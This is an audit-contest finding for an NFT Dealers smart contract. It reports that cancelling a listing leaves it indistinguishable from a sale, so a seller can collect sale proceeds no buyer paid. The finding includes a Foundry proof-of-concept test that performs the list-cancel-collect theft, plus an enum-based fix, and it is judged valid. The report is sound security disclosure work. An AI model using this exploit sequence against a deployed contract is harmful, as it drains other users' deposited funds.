NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

collectUsdcFromSelling Callable After cancelListing — Seller Steals Funds Without a Buyer

asssol

Root + Impact

Description

  • After a listing is sold via buy(), the seller is entitled to call collectUsdcFromSelling to receive price - fees + collateral. The function guards on !listing.isActive to ensure the sale is finalized.

  • Both buy() and cancelListing() set isActive = false, making them indistinguishable. A seller can list an NFT, cancel the listing (getting collateral back), then call collectUsdcFromSelling to extract price - fees from the contract funds that no buyer ever deposited.

// cancelListing sets isActive = false and returns collateral
function cancelListing(uint256 _listingId) external onlySeller(_listingId) {
require(s_listings[_listingId].isActive, "Listing is not active");
@> s_listings[_listingId].isActive = false; // same terminal state as buy()
uint256 tokenId = s_listings[_listingId].tokenId;
uint256 collateral = collateralForMinting[tokenId];
collateralForMinting[tokenId] = 0;
usdc.safeTransfer(msg.sender, collateral);
// price and seller remain intact in storage
}
​
// collectUsdcFromSelling only checks isActive == false
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
@> require(!listing.isActive, "Listing must be inactive to collect USDC");
// Cannot distinguish "sold" from "cancelled" — proceeds with payout
}

Risk

Likelihood:

  • Any whitelisted user who has listed an NFT can execute the attack cancel their own listing, then call collectUsdcFromSelling in the same transaction

The attack requires only a single user acting alone with no external dependencies

Impact:

  • Direct theft of price - fees USDC per attack cycle from other users' deposited funds

Attack is repeatable: attacker can cycle list → cancel → collect indefinitely until contract is drained

  • Combined with NM-001 (no re-call protection), each cycle can be called multiple times before re-listing

Proof of Concept

function test_NM002_CancelThenCollectStealsFunds() public {
// Setup: 4 victims deposit 10 USDC collateral each (40 USDC in contract)
address alice = makeAddr("alice");
address[] memory victims = new address[](4);
for (uint i = 0; i < 4; i++) {
victims[i] = makeAddr(string(abi.encodePacked("victim", i)));
_mintAndDepositCollateral(victims[i], i + 2);
}
​
// Alice mints tokenId=1 (deposits 10 USDC collateral)
_mintAndDepositCollateral(alice, 1);
​
uint256 balanceBefore = usdc.balanceOf(alice);
​
vm.startPrank(alice);
// Alice lists at 20 USDC
nftDealers.list(1, 20e6);
// Alice cancels — gets 10 USDC collateral back
nftDealers.cancelListing(1);
// Alice calls collectUsdcFromSelling — extracts 20 - fees from contract
// No buyer ever paid! This is pure theft.
nftDealers.collectUsdcFromSelling(1);
vm.stopPrank();
​
uint256 aliceGain = usdc.balanceOf(alice) - balanceBefore;
​
// Alice gained collateral (10) + stolen funds (20 - fees) = ~24.85 USDC
// But she only deposited 10 USDC
assertGt(aliceGain, 20e6);
// Contract cannot cover victims' 40 USDC
assertLt(usdc.balanceOf(address(nftDealers)), 40e6);
}

Recommended Mitigation

+ enum ListingStatus { NONE, ACTIVE, SOLD, CANCELLED, COLLECTED }
​
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
- bool isActive;
+ ListingStatus status;
}
​
function buy(uint256 _listingId) external payable {
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = ListingStatus.SOLD;
}
​
function cancelListing(uint256 _listingId) external onlySeller(_listingId) {
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = ListingStatus.CANCELLED;
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(s_listings[_listingId].status == ListingStatus.SOLD, "Not sold");
+ s_listings[_listingId].status = ListingStatus.COLLECTED;
}
Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

drain-protocol-risk

collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!